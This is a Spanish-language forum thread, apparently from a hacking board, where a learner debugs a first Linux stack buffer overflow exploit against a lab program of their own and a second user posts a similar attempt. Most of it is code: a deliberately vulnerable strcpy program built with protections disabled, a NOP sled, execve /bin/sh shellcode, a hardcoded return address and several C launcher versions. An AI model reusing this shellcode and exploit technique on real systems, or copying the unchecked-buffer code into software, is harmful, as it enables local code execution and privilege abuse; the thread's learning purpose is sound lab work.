Bueno, ahi va el titulo, la cosa es que tengo un programita con una vulnerabilidad y lo estoy explotando. El otro dia consegui manejar el transcurso de la aplicacion, y ahora abrir una shellcode...
Lo hago asi:
La idea la saque de un post antiguo del foro... Evidentemente se puede cambiar la posicion de los Nops, pero bueno...

Bueno, consigo la shellcode al correrlo asi:
Pero a la hora de hacer el exploit...

Tengo este codigo, en el que también va como comentario el vulnerable...

/*
First BoF Linux attack : Sagrini 2010 : elhacker.net
23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59
 
gcc -o vuln vuln.c --no-stack-protector -g -z execstack
./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$
 
gcc -o exploit exploit.c
./exploit
$
 
------------------------------------------
!!! Vuln code !!!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void soy_vuln(char *arg)
{
	char buffer [48];
	strcpy (buffer, arg);
}
 
int main(int argc, char *argv[])
{
	if (argc != 2) return 1;
	soy_vuln(argv[1]);
}
------------------------------------------
*/
 
#include <stdio.h>
#include <string.h>
 
int main ()
{
	printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net");
 
	char nops [23];
	memset (nops, '\x90', 23);
	char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
	char ret [4] = "\x18\x1f\x9b\xbf";
 
	char command [59];
	strcpy (command, "./vuln ");
	strcpy (command, nops);
	strcpy (command, shellcode);
	strcpy (command, ret);
	execve (command, command, NULL);
 
	return 0;
}
 
 

Ahora mi pregunta es... ¿Qué falla?

Los desactivo en el vuln, no en el exploit... Ahora mismo pruebo...
Modf: Anon, nada...

/*
First BoF Linux attack : Sagrini 2010 : elhacker.net
23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59
 
gcc -o vuln vuln.c --no-stack-protector -g -z execstack
./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$
 
gcc -o exploit exploit.c
./exploit
$
 
------------------------------------------
!!! Vuln code !!!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void soy_vuln(char *arg)
{
	char buffer [48];
	strcpy (buffer, arg);
}
 
int main(int argc, char *argv[])
{
	if (argc != 2) return 1;
	soy_vuln(argv[1]);
}
------------------------------------------
*/
 
#include <stdio.h>
#include <string.h>
 
int main ()
{
	printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");
 
	char nops [23];
	memset (nops, 'A', 23);
	char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
	char ret [4] = "\x18\x1f\x9b\xbf";
 
	char command [59];
	strcpy (command, "./vuln ");
	strcat (command, nops);
	strcat (command, shellcode);
	strcat (command, ret);
//	system (command);
 
	printf ("%s", command);
 
	return 0;
}
 

Si os dais cuenta, no ejecuto nada, solo muestro la cadena. Antes de eso, al strcpy (command, shellcode) da el fallo...
Ahora me pasare por el foro C/C++ porque no es fallo de vuln...
Compilo asi...
Alguna idea?

Bueno, de acuerdo, ahora no da fallo de segm. pero no ejecuta nada...

Vale, ahora qué, si fuese porque cambia la dirección de memoria me diriía fallo de segmentación, pero nada...
Una cosa, si le meto un byte nulo, no se rellena todo... No va... Voy a probar otra cosa...
--------------------------------------------------------------------------------------------------------------------------------------------------------
Modf: Pruebo con este code:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
 
int main ()
{
	printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n"); 
 
	char command [] = "./vuln \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x18\x1f\x9b\xbf";
 
	system (command); 
	return 0;
} 
 

y este

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
 
int main ()
{
	printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n"); 
 
	char command [] = "./vuln \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x18\x1f\x9b\xbf";
 
	char *cmd[] = {command, NULL};
	execve ("./vuln", cmd, NULL);
	return 0;
}
 

En el primero, "Segmentation Fault". En el segundo no printea nada menos la primera frase.
¿Qué hago?

./vuln es el programa a ejecutar no? Voy a contar los nops, a ver si he metido de más...
execve (<nombre prog>, <argumentos completos> <entorno>);
Pues eso...

Ahora modf, que se me ha ocurrido otra cosa...

pues yo tambien lo intente y no me funciono, ya trate de modificar los nops, no se si sea igual en linux, pero en windows tenia que dejar ret exacto en EIP para que saltara y se creara la shell

pues lo intente y no me funciona... sera por alguna razon de sistemas linux, yo utilizo debian suqeeze

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(){
 
char exp[] = "./vuln";
char nops[23] = "";
memset(nops, '\x90', 23);
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
 
char *cmd;
cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
 
sprintf(cmd,"%s %s %s %s", exp, nops, shellcode, ret);
 
system(cmd);
free(cmd);
 
return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void soy_vuln(char *arg){
 
char buff[48];
strcpy(buff, arg);
printf("%s", buff);
}
 
int main(int argc, char *argv[]){
 
if(argc != 2) return 1;
 
soy_vuln(argv[1]);
}